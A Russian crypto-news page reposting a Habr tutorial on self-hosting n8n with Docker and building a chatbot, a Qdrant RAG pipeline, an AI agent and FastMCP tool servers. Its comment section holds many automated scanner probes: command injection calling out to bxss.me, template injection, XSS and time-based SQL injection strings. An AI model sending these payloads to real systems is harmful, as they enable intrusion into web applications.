Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9544 / Markets: 113007
Market Cap: $ 3 691 605 128 269 / 24h Vol: $ 296 812 996 119 / BTC Dominance: 59.836090041736%

Н Новости

Расширяем базовый функционал n8n: от RAG до кастомного агента с MCP

Компании и энтузиасты стремятся автоматизировать процессы, но не каждый готов писать код с нуля. Поэтому в последние годы особую популярность набрала no-code платформа n8n. С её помощью можно быстро собирать пайплайны различной сложности: от простых чат-ботов до умных ассистентов, которые управляют календарем и напоминают о задачах. Обычно в статьях про n8n затрагивают только готовые блоки, собирают из них пайплайны автоматизации, но в то же время упоминают об ограниченности использования этой платформы. Действительно, базовых блоков в n8n может не хватать, чтобы закрыть все потребности пользователя, но сегодня я покажу, как можно обойти эти ограничения и расширить базовый функционал n8n.

Привет, Хабр! Меня зовут Музафаров Данил, я Data Scientist в компании Raft. В этом туториале я шаг за шагом покажу: как локально развернуть n8n, как добавить кастомные API и создать полноценного AI-агента с MCP tools с расширенным функционалом. Придется немного писать код, но главное, что это позволит оставить архитектуру решения на n8n, дополнив его кастомными тулами.

План

С самого начала у меня была какая-то тактика и я ее придерживался
С самого начала у меня была какая-то тактика и я ее придерживался

Из названия статьи вы уже поняли, что мы пройдем путь от чат-бота до агента с MCP серверами. Для удобства я разделил статью по главам, чтобы перед глазами был план и мы его придерживались.

  1. Как развернуть n8n локально

  2. Простой чат-бот

  3. RAG для ответов на вопросы о компании

  4. Объединяем все одно c помощью свича: узнаем погоду, обращаемся к LLM и RAG

  5. Объединяем все одно c помощью тулов AI Агента: узнаем погоду, обращаемся к LLM и RAG

  6. Final Boss: AI Агент с MCP серверами

Как развернуть n8n локально

Развернуть n8n локально достаточно просто. Для этого мы будем использовать docker compose, а в качестве базы данных подключим Postgres DB.

Достаточно просто говорит он...
Достаточно просто говорит он...

Такой подход удобен сразу по нескольким причинам:

  • легко поднять и запустить все необходимые сервисы одной командой;

  • каждый сервис работает в отдельном контейнере (похоже на микросервисную архитектуру);

  • при необходимости можно быстро обновлять или изменять проект.

Создадим файл docker-compose.yml со следующим содержимым:

docker-compose.yml
version: '3.8'

services:
  n8n:
    image: docker.n8n.io/n8nio/n8n
    restart: unless-stopped
    ports:
      - "5678:5678"
    environment:
      - DB_TYPE=postgresdb
      - DB_POSTGRESDB_HOST=db
      - DB_POSTGRESDB_PORT=5432
      - DB_POSTGRESDB_DATABASE=n8n
      - DB_POSTGRESDB_USER=n8n
      - DB_POSTGRESDB_PASSWORD=n8n
    volumes:
      - n8n_data:/home/node/.n8n
    depends_on:
      - db

  db:
    image: postgres:12
    restart: unless-stopped
    environment:
      - POSTGRES_DB=n8n
      - POSTGRES_USER=n8n
      - POSTGRES_PASSWORD=n8n
    volumes:
      - db_data:/var/lib/postgresql/data

volumes:
  n8n_data:
  db_data:

Запускаем через команду в терминале:

docker compose up -d

После того, как все сервисы запустятся, мы можем перейти по адресу http://localhost:5678, там доступен веб-интерфейс нашего локального n8n. Итак, теперь мы можем приступить к следующему шагу.

Простой чат-бот

При первом запуске n8n попросит создать учётную запись. Так как мы работаем локально, можно задать любые логин и пароль – они будут использоваться только для входа в интерфейс. Можем начинать собирать пайплайны.

Начнем с самого простого чат-бота, которому мы сможем задавать вопрос и получать ответ.

Итак, каждый блок в n8n называется нода (node). Вот так будет выглядеть собранный пайплайн из трех нод:

Workflow чат-бота
Workflow чат-бота

Здесь есть базовые ноды: Webhook и Respond to Webhook. Они нужны чтобы принимать запрос и возвращать ответ. В центре пайплайна находится нода OpenAI, которая требует API Key. В n8n есть удобный функционал хранения credentials для различных сервисов. То есть стоит только один раз внести API Key и сохранить его, чтобы при следующих инициализациях нод OpenAI можно было просто один раз кликнуть и всё заработало. Вот так выглядит пример того как происходит регистрация credentials OpenAI:

Инициализация Credentials OpenAI
Инициализация Credentials OpenAI

То есть просто вносится API Key и Base url в соответствующие поля.

Нода Webhook

Нода Webhook
Нода Webhook

В нашем случае она должна принимать запросы от пользователя, чтобы передавать их дальше по пайплайну. Выставляем HTTP метод POST, при желании меняем рандомный path и/или добавляем аутентификацию и в конце мы выбираем Using 'Respond to Webhook' Node. Последнее дает нам возможность получать ответ с последней ноды, которая стоит в конце цепочки: Respond to Webhook.

Теперь можем запустить пайплайн попробовать отправить curl запрос:

curl -X POST "http://localhost:5678/webhook-test/my\_first\_chain" \
  -H "Content-Type: application/json" \
  -d '{"message":"Что такое n8n?"}'

Получаем ответ:

n8n — это бесплатная и открытая платформа для автоматизации рабочих процессов (no-code/low-code workflow automation). С её помощью можно связывать различные сервисы и приложения между собой без программирования, чтобы автоматизировать рутинные задачи.

Всё работает, теперь можно прикрутить UI, сделанный через gradio.

Пример интерфейса gradio
import gradio as gr
import requests

# production webhook из n8n
N8N_WEBHOOK = <ВАШ АДРЕС ИЗ НОДЫ WEBHOOK>

def chat_with_n8n(user_input):
    response = requests.post(
        N8N_WEBHOOK,
        json={"question": user_input}, 
        headers={"Content-Type": "application/json"}
    )
    if response.ok:
        return response.text
    else:
        return f"Ошибка: {response.status_code}, {response.text}"

# Интерфейс Gradio
demo = gr.Interface(
    fn=chat_with_n8n,
    inputs=gr.Textbox(lines=2, placeholder="Напиши что-нибудь..."),
    outputs="text",
    title="n8n Chat",
    description="Простое Gradio-приложение, которое ходит в n8n"
)

if __name__ == "__main__":
    demo.launch()
Чат-бот с веб-интерфейсом на gradio
Чат-бот с веб-интерфейсом на gradio

Первый простой пайплайн готов, теперь вы можете пользоваться чат-ботом!

RAG

В предыдущей главе мы разобрали простейший пайплайн чат-бота с LLM. Вторая задача по частоте обращений бизнеса к ИИ - это системы умного поиска. В этой главе я предлагаю реализовать систему RAG, которая будет подтягивать релевантные ответы из базы знаний.

В качестве векторной базы знаний будем использовать Qdrant. Также поднимем его локально, доработав наш docker-compose.yml.

Обновленный docker-compose.yml
version: '3.8'

services:
  n8n:
    image: docker.n8n.io/n8nio/n8n
    restart: unless-stopped
    ports:
      - "5678:5678"
    environment:
      - DB_TYPE=postgresdb
      - DB_POSTGRESDB_HOST=db
      - DB_POSTGRESDB_PORT=5432
      - DB_POSTGRESDB_DATABASE=n8n
      - DB_POSTGRESDB_USER=n8n
      - DB_POSTGRESDB_PASSWORD=n8n
    volumes:
      - n8n_data:/home/node/.n8n
    depends_on:
      - db
      - qdrant

  db:
    image: postgres:12
    restart: unless-stopped
    environment:
      - POSTGRES_DB=n8n
      - POSTGRES_USER=n8n
      - POSTGRES_PASSWORD=n8n
    volumes:
      - db_data:/var/lib/postgresql/data

  qdrant:
    image: qdrant/qdrant
    restart: unless-stopped
    ports:
      - "6333:6333"
      - "6334:6334"
    volumes:
      - qdrant_data:/qdrant/storage

volumes:
  n8n_data:
  db_data:
  qdrant_data:

Любым удобным способом загружаем в векторную базу знаний ваши документы. В моем случае это следующая таблица:

ID

Вопрос

Ответ

1

Где находится офис?

Наш офис в Санкт-Петербурге на Лиговском проспекте.

2

Как связаться с поддержкой?

Поддержка доступна по email [email protected].

3

Какие продукты есть?

Мы предлагаем чат-ботов, автоматизацию и NLP-аналитику.

4

Как работает пробная версия?

Тестовый период 14 дней, лимит 100 запросов в день.

5

Есть ли скидки для студентов?

Да, студенты получают скидку 50%.

Я загрузил данные с помощью python скрипта. Использовал эмбеддер от OpenAI text-embedding-3-small (dim=1536). Эмбеддером я называю LLM-модели, которые превращают текст в эмбеддинг (вектор), почитать что такое эмбеддинги можно тут.

Python скрипт, который я использовал для загрузки данных в Qdrant:
import os
from dotenv import load_dotenv
from openai import OpenAI
from qdrant_client import QdrantClient
from qdrant_client.models import VectorParams, PointStruct, Distance

load_dotenv()

# -----------------------------
# 1. Настройка OpenAI
# -----------------------------
OPENAI_KEY = os.getenv("OPENAI_API_KEY_ORIG")
if not OPENAI_KEY:
    raise ValueError("❌ Не найден OPENAI_API_KEY_ORIG в .env")

client_openai = OpenAI(api_key=OPENAI_KEY, base_url="https://api.openai.com/v1")

# -----------------------------
# 2. Настройка Qdrant
# -----------------------------
qdrant = QdrantClient(host="localhost", port=6333)
COLLECTION = "faq"
DIM = 1536

# Создаем коллекцию только если её нет
if not qdrant.collection_exists(COLLECTION):
    qdrant.create_collection(
        COLLECTION,
        vectors_config=VectorParams(size=DIM, distance=Distance.COSINE)
    )
    print("✅ Коллекция создана:", COLLECTION)
else:
    print("ℹ️ Коллекция уже существует, переиспользуем:", COLLECTION)

# -----------------------------
# 3. База FAQ
# -----------------------------
faq = [
    {"id": 1, "q": "Где находится офис?", "a": "Наш офис в Санкт-Петербурге на Лиговском проспекте."},
    {"id": 2, "q": "Как связаться с поддержкой?", "a": "Поддержка доступна по email [email protected]."},
    {"id": 3, "q": "Какие продукты есть?", "a": "Мы предлагаем чат-ботов, автоматизацию и NLP-аналитику."},
    {"id": 4, "q": "Как работает пробная версия?", "a": "Тестовый период 14 дней, лимит 100 запросов в день."},
    {"id": 5, "q": "Есть ли скидки для студентов?", "a": "Да, студенты получают скидку 50%."},
]

# -----------------------------
# 4. Функция для получения эмбеддингов
# -----------------------------
def embed(text: str):
    resp = client_openai.embeddings.create(
        model="text-embedding-3-small",
        input=text
    )
    vector = resp.data[0].embedding
    if not vector or len(vector) != DIM:
        raise ValueError(f"Эмбеддинг некорректен для текста: {text}")
    return vector

# -----------------------------
# 5. Подготовка и загрузка точек
# -----------------------------
points = []
for item in faq:
    vec = embed(f"Вопрос: {item['q']} | Ответ: {item['a']}")
    points.append(
        PointStruct(
            id=item["id"],
            vector=vec,
            payload={
                "pageContent": f"Вопрос: {item['q']} Ответ: {item['a']}",
                "metadata": {
                    "question": item["q"],
                    "answer": item["a"],
                }
            }
        )
    )
    print(f"Вектор создан для ID {item['id']}")

# Upsert — обновляет или добавляет точки (индексы сохраняются)
qdrant.upsert(collection_name=COLLECTION, points=points)

Далее создаем пайплайн:

RAG пайплайн
RAG пайплайн

В n8n есть готовая нода Qdrant Vector Store. Для ее инициализации необходимо указать credentials для Qdrant, также как ранее мы делали с OpenAI.

Credentials для Qdrant
Credentials для Qdrant

Указываем название контейнера и его порт в поле url, а также API Key из env-переменных docker-compose.

Данная нода требует подключения эмбеддера, чтобы превращать запрос пользователя в эмбеддинг. Указываем credentials OpenAI и выбираем такой же эмбеддер, который мы использовали при формировании векторной базы знаний.

Перейдем к самой ноде Qdrant Vector Store.

Нода Qdrant Vector Store
Нода Qdrant Vector Store

Так как мы ранее подключились к нашей локальной векторной базе знаний, чтобы загрузить данные, то мы можем выбрать коллекцию, которая нас интересует, в нашем случае это коллекция “faq”.

В поле "Prompt" запишем промпт, по которому будет формироваться поиск в векторной БД и указываем топ релевантных ответов, опционально подключаем метадату (она содержится в базе знаний).

Далее переходим к следующей ноде, формирующей итоговый ответ. Это нода OpenAI с функцией ответа LLM. В прошлом пайплайне мы уже встречались с ней, но сейчас мы будем ей отдавать контекст, поэтому запишем промпт:

Ты — помощник, который отвечает только на основе базы знаний.
Контекст:
{{ $json.document.metadata.question }} - {{ $json.document.metadata.answer }}
Вопрос пользователя: {{ $('Webhook').item.json.body.question }}
Ответь, используя только контекст. Если {{ $json.score }} ниже, чем "0.35",
то не нужно использовать контекст, так как вопрос не связан с базой знаний и 
отвечай просто на поставленный вопрос пользователя без контекста

Порог в 0.35 подбирался экспериментальным путем, в зависимости от исходных данных в базе знаний он может отличаться.

Давайте проверим, что векторная база знаний работает и наша система RAG нам отвечает.

Будем проверять на следующих тест-кейсах:

Первый тест-кейс
Первый тест-кейс
Второй тест-кейс
Второй тест-кейс
Третий тест-кейс
Третий тест-кейс
Четвертый тест-кейс
Четвертый тест-кейс

Как видно из тест-кейсов - RAG система отлично работает. Вопросы, которые не относятся к базе знаний обрабатываются через LLM.

Объединяем все одно c помощью свитча: узнаем погоду, обращаемся к LLM и RAG

Теперь усложним задачу, добавим дополнительно функционал для получения погоды в конкретном городе, оставив при этом RAG.

На вход пайплайна поставим LLM классификатор, а погоду будем брать по бесплатному API от OpenWeatherMap. Как это будет выглядеть:

Пайплайн с нодой Switch
Пайплайн с нодой Switch

В LLM классификаторе указываем system prompt и user prompt.

System Prompt:

Тебе дан вопрос пользователя. Определи, какие источники информации нужны для ответа:
- Qdrant (если вопрос про компанию, офис, продукты, скидки и т.п.)
- API (если вопрос о погоде, температуре, погодных условиях)
- LLM (если вопрос общий, математика, теория, не относящееся к компании и погоде) 
Ответь строго в формате JSON:
{
  "use_rag": true/false,
  "use_api": true/false,
  "use_llm": true/false
}

User Prompt:

Здесь просто укажем вопрос пользователя

Вопрос: {{ $json.body.question }}

После LLM классификатора стоит встроенная нода Switch. Она работает по принципу правил. Если конкретное поле из входного JSON “is true”, то открывается путь к следующей ноде.

Нода Switch
Нода Switch

Первый путь – RAG. Там тот же функционал, что мы рассмотрели в предыдущей главе.

Второй путь – прогноз погоды. Сначала с помощью LLM ноды мы достаем название города из запроса пользователя. Далее название города подаем в API OpenWeatherMap. Получаем большой JSON со всеми параметрами погоды: температура, облачность, влажность и прочее. В следующей ноде LLM мы на основе ответов OpenWeatherMap ноды формируем ответ для пользователя в красивом виде с помощью промпта ниже:

Ты — умный ассистент. Тебе дан ответ от OpenWeather API в формате JSON:
Погода: {{ JSON.stringify($json.weather) }}
Температура и влажность: {{ JSON.stringify($json.main) }}
Ветер: {{ JSON.stringify($json.wind) }}
Облачность: {{ JSON.stringify($json.clouds) }}
Преврати это в понятный ответ для пользователя на русском языке. 
Укажи:
- текущую температуру (округли до целого числа),
- погоду (облачность, дождь, солнце),
- скорость ветра,
- влажность.
Не используй лишние технические детали (id, код, координаты).
Если в JSON нет нужной информации — скажи, что данные недоступны.

Третий путь – LLM. То есть, если вопрос пользователя никак не связан с офисом или погодой, то мы отправляемся в ноду LLM, где обрабатываем запрос пользователя и формируем итоговый ответ.

Готово! Вы реализовали свой первый chain-пайплайн!

Его основной минус заключается в том, что при свитче мы не можем в одном запросе использовать информацию сразу из двух тулов: не можем спросить про погоду в городе, где находится офис компании.
Чтобы решить такую проблему мы можем использовать AI Агента. Давайте посмотрим насколько усложнится пайплайн в этом случае.

Объединяем все одно c помощью тулов AI Агента: узнаем погоду, обращаемся к LLM и RAG

Создадим в n8n агента, который будет выполнять те же задачи из предыдущего пайплайна, но с использованием tools.

Пайплайн с агентом и двумя тулами
Пайплайн с агентом и двумя тулами

Основная нода здесь – AI Agent. Рассмотрим основные поля этой ноды.

Параметры ноды AI Agent
Параметры ноды AI Agent

Указываем в user message (user prompt):
Входной запрос пользователя { $json.body.question }

В системном промпте важно описать инструменты, которые есть у агента и правила, по которым он будет ими пользоваться.

System message (system prompt):

Ты — умный помощник. У тебя есть три инструмента:  
1. "Knowledge Base" — база знаний (RAG) для поиска по внутренним документам.  
   Используй её, когда пользователь задаёт вопрос, связанный с нашей документацией, компанией или внутренней информацией.  
2. "Weather API" — инструмент для получения погоды через OpenWeatherMap.  
   Используй его, если пользователь спрашивает про погоду, температуру, прогноз или климат в конкретном городе.  
3. "LLM Answer" — твои собственные знания и способности.  
   Используй их для всех остальных вопросов, когда не нужно обращаться к базе или API. 
Правила:  
- Сначала пойми, какой инструмент подходит.  
- Если нужно RAG или погода — используй соответствующий инструмент.  
- Если вопрос общий (например, философский или бытовой) — отвечай напрямую сам.  
- Отвечай ясно и по-русски, даже если данные приходят на английском.  

Также к ноде агента необходимо подключить Chat Model (в нашем случае gpt-4.1), PostgresDB для контекстной памяти (ранее мы ее поднимали через docker compose) и необходимые tools(инструменты).

Tools подключаем через встроенные ноды. Ноды tools немного могут отличаться от обычных нод из пайплайнов, построенных ранее.

Например, tool OpenWeatherMap

Нода tool OpenWeatherMap
Нода tool OpenWeatherMap

Здесь также инициализируемся через авторизационные данные, описываем функционал инструмента в его описании (поле “Description”), выбираем операцию инструмента (текущая погода), выбираем метрическую систему (чтобы были градусы Цельсия, а не Фаренгейта), выбираем чтобы мы получали погоду по названию города, а не по координатам. Также здесь есть функционал того, чтобы город определился автоматически с помощью ИИ из запроса пользователя. И в последнем поле указываем язык формирования ответа API.

Для Qdrant Vector Store делаем аналогично, описываем функционал инструмента, указываем название коллекции, подключаем эмбеддер.

Предлагаю немного улучшить веб-интерфейс gradio для чат-бота с нашим агентом.

Обновленный gradio веб-интерфейс
import gradio as gr
import requests

N8N_WEBHOOK = <ВАШ АДРЕС ИЗ НОДЫ WEBHOOK>

# История чата
chat_history = []

def chat_with_n8n(user_input, history):
    response = requests.post(
        N8N_WEBHOOK,
        json={"question": user_input},
        headers={"Content-Type": "application/json"}
    )
    if response.ok:
        bot_response = response.text
    else:
        bot_response = f"Ошибка: {response.status_code}, {response.text}"
    
    # Добавляем сообщение пользователя и ответ бота
    history.append((user_input, bot_response))
    return history, history

# Функция для отображения с кастомным стилем
def format_message(history):
    formatted = []
    for user_msg, bot_msg in history:
        formatted.append((
            f"<div style='background-color:#D1E8FF;padding:8px;border-radius:5px;margin:2px;'>Вы: {user_msg}</div>",
            f"<div style='background-color:#F1F0F0;padding:8px;border-radius:5px;margin:2px;'>Бот: {bot_msg}</div>"
        ))
    return formatted

with gr.Blocks() as demo:
    gr.Markdown("## 💬 n8n Chat")
    
    chatbot = gr.Chatbot()
    user_input = gr.Textbox(
        placeholder="Напиши что-нибудь...",
        show_label=False
    )
    send_btn = gr.Button("Отправить")
    
    send_btn.click(
        chat_with_n8n,
        inputs=[user_input, chatbot],
        outputs=[chatbot, chatbot]
    )
    user_input.submit(
        chat_with_n8n,
        inputs=[user_input, chatbot],
        outputs=[chatbot, chatbot]
    )

demo.launch()

Агент готов, подключим его к UI и проверим его работоспособность:

Тест-кейсы 1,2
Тест-кейсы 1,2
Тест-кейсы 3,4
Тест-кейсы 3,4
Тест-кейс 5
Тест-кейс 5

Как видно, агент работает отлично. Самое интересное, что он смог при запросе пользователя “Где офис и какая там погода?” понять, что необходимо использовать два инструмента. Он отлично справился с этим и дал грамотный ответ на оба вопроса.

Может случиться такое, что tool, который вы хотите использовать, не окажется в базовых нодах n8n. В таком случае придется как-то через “костыли” придумывать http-request ноду, поднимать через FastAPI сервис и прочее.

Но на самом деле всё можно сделать более удобно, лаконичино и наглядно, используя MCP подход. Расскажу подробнее об этом ниже.

Final Boss: AI Агент с MCP серверами

Доработаем нашего агента так, чтобы он обращался к инструментам через MCP.

AI Агент с MCP серверами в качестве tools
AI Агент с MCP серверами в качестве tools

Теперь для ноды AI Agent – tools являются MCP серверами.

MCP сервера поднимаются через библиотеку FastMCP. Сначала мы инициализируем класс, затем расписываем необходимые инструменты для этого сервера как функции в python. Когда функция готова мы ее регистрируем через метод tool(), в нее передаем саму функцию и полное описание ее функционала, чтобы агент мог понять как и когда он может ее использовать.

Для каждого MCP мы прописываем docker файл, а также добавляем MCP серверы в docker-compose.

Обновленный docker-compose
version: '3.8'

services:
  n8n:
    image: docker.n8n.io/n8nio/n8n
    restart: unless-stopped
    ports:
      - "5678:5678"
    environment:
      - DB_TYPE=postgresdb
      - DB_POSTGRESDB_HOST=db
      - DB_POSTGRESDB_PORT=5432
      - DB_POSTGRESDB_DATABASE=n8n
      - DB_POSTGRESDB_USER=n8n
      - DB_POSTGRESDB_PASSWORD=n8n
    volumes:
      - n8n_data:/home/node/.n8n
    depends_on:
      - db
      - qdrant

  db:
    image: postgres:12
    restart: unless-stopped
    environment:
      - POSTGRES_DB=n8n
      - POSTGRES_USER=n8n
      - POSTGRES_PASSWORD=n8n
    volumes:
      - db_data:/var/lib/postgresql/data

  qdrant:
    image: qdrant/qdrant
    restart: unless-stopped
    ports:
      - "6333:6333"
      - "6334:6334"
    volumes:
      - qdrant_data:/qdrant/storage
  
  weather-mcp:
    build: ./src/mcp_weather
    restart: unless-stopped
    ports:
      - "8082:8082"
    env_file:
      - .env
  qdrant-mcp:
    build: ./src/mcp_qdrant
    restart: unless-stopped
    ports:
      - "8083:8083"
    env_file:
      - .env
    depends_on:
      - qdrant

volumes:
  n8n_data:
  db_data:
  qdrant_data:
  weather-mcp_data:
  qdrant-mcp_data:
MCP сервер прогноза погоды
import os
import requests
from fastmcp import FastMCP

server = FastMCP("Weather MCP Server")

def get_weather(city: str) -> dict:
    """
    MCP-инструмент: получает погоду по городу.
    Возвращает JSON с полезной информацией.
    """
    API_KEY = os.getenv("OWM_API_KEY")
    if not API_KEY:
        return {"error": "API key is not set in OWM_API_KEY environment variable"}

    url = f"https://api.openweathermap.org/data/2.5/weather?q={city}&appid={API\_KEY}&units=metric&lang=ru"

    try:
        response = requests.get(url)
        response.raise_for_status()
        data = response.json()

        return {
            "city": data.get("name"),
            "country": data.get("sys", {}).get("country"),
            "temperature": data.get("main", {}).get("temp"),
            "feels_like": data.get("main", {}).get("feels_like"),
            "weather": data.get("weather", [{}])[0].get("description"),
            "wind_speed": data.get("wind", {}).get("speed"),
        }

    except requests.exceptions.RequestException as e:
        return {"error": str(e)}

# Регистрируем инструмент
server.tool(get_weather, description="""Ты можешь воспользоваться этим инструментом,
            если тебе интересно узнать текущую погоду в городе. Для этого достаточно передать в инструмент название города.""")

if __name__ == "__main__":
    server.run("http", host="0.0.0.0", port=8082)

Вот так выглядят ноды MCP серверов для прогноза погоды и поиска по векторной базе. MCP для прогноза погоды имеет всего один прописанный tool, называется 'get_weather' и имеет описание. MCP для векторной базы знаний тоже имеет всего лишь один tool, который достает топ 3 ближайших вектора из базы знаний, релевантных запросу пользователя.

Нода MCP для прогноза погоды
Нода MCP для прогноза погоды
Нода MCP для Qdrant
Нода MCP для Qdrant

Ну и конечно важно не забыть про System prompt для Агента:

Ты — умный помощник. У тебя есть два инструмента, которые работают на MCP.  
1. "MCP Qdrant" — база знаний (RAG) для поиска по внутренним документам.  
   Используй её, когда пользователь задаёт вопрос, связанный с нашей документацией, компанией или внутренней информацией.  

2. "MCP Open Weather Map" — инструмент для получения погоды через OpenWeatherMap.  
Используй его, если пользователь спрашивает про погоду, температуру, прогноз или климат в конкретном городе.
3. Если вопрос пользователя не относится ни к погоде, ни к жизни компании, то отвечай самостоятельно, используя LLM 
Правила:  
- Сначала пойми, какой инструмент подходит.  
- Если нужно RAG или погода — используй соответствующий инструмент.  
- Если вопрос общий (например, философский или бытовой) — отвечай напрямую сам.  
- Отвечай ясно и по-русски, даже если данные приходят на английском.  

Мы сделали AI Агента с MCP серверами, каждый из которых имел один tool. Каждый MCP сервер мы подняли как отдельный сервис, а сам агент в свою очередь смог разобраться как использовать каждый из tools, за счет их грамотного описания.

Заключение

Я надеюсь, что вы не потеряли желание заниматься n8n.

Когда это закончится?
Когда это закончится?

Что можно сказать про n8n? Эта платформа действительно не является панацеей - она имеет функциональные ограничения. Я показал как можно обходить эти ограничения. Кому-то это может показаться "overkill", кто-то в этом наоборот увидит интерес. Но факт остается фактом - такая платформа может позволить очень быстро накидать базовые MVP-проекты и без проблем интегрироваться с простым веб-интерфейсом на gradio.

А если вы упираетесь в потолок базовых возможностей n8n, то смело используйте этот туториал для расширения функционала платформы и решения своих задач.

Источник

  • 09.10.25 08:08 pHqghUme

    expr 9000227416 - 917575

  • 09.10.25 08:08 pHqghUme

    (nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))

  • 09.10.25 08:08 pHqghUme

    $(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)

  • 09.10.25 08:08 pHqghUme

    &nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'

  • 09.10.25 08:08 pHqghUme

    &(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'

  • 09.10.25 08:08 pHqghUme

    |(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)

  • 09.10.25 08:08 pHqghUme

    `(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`

  • 09.10.25 08:08 pHqghUme

    ;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)

  • 09.10.25 08:08 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:08 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)

  • 09.10.25 08:09 pHqghUme

    &(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

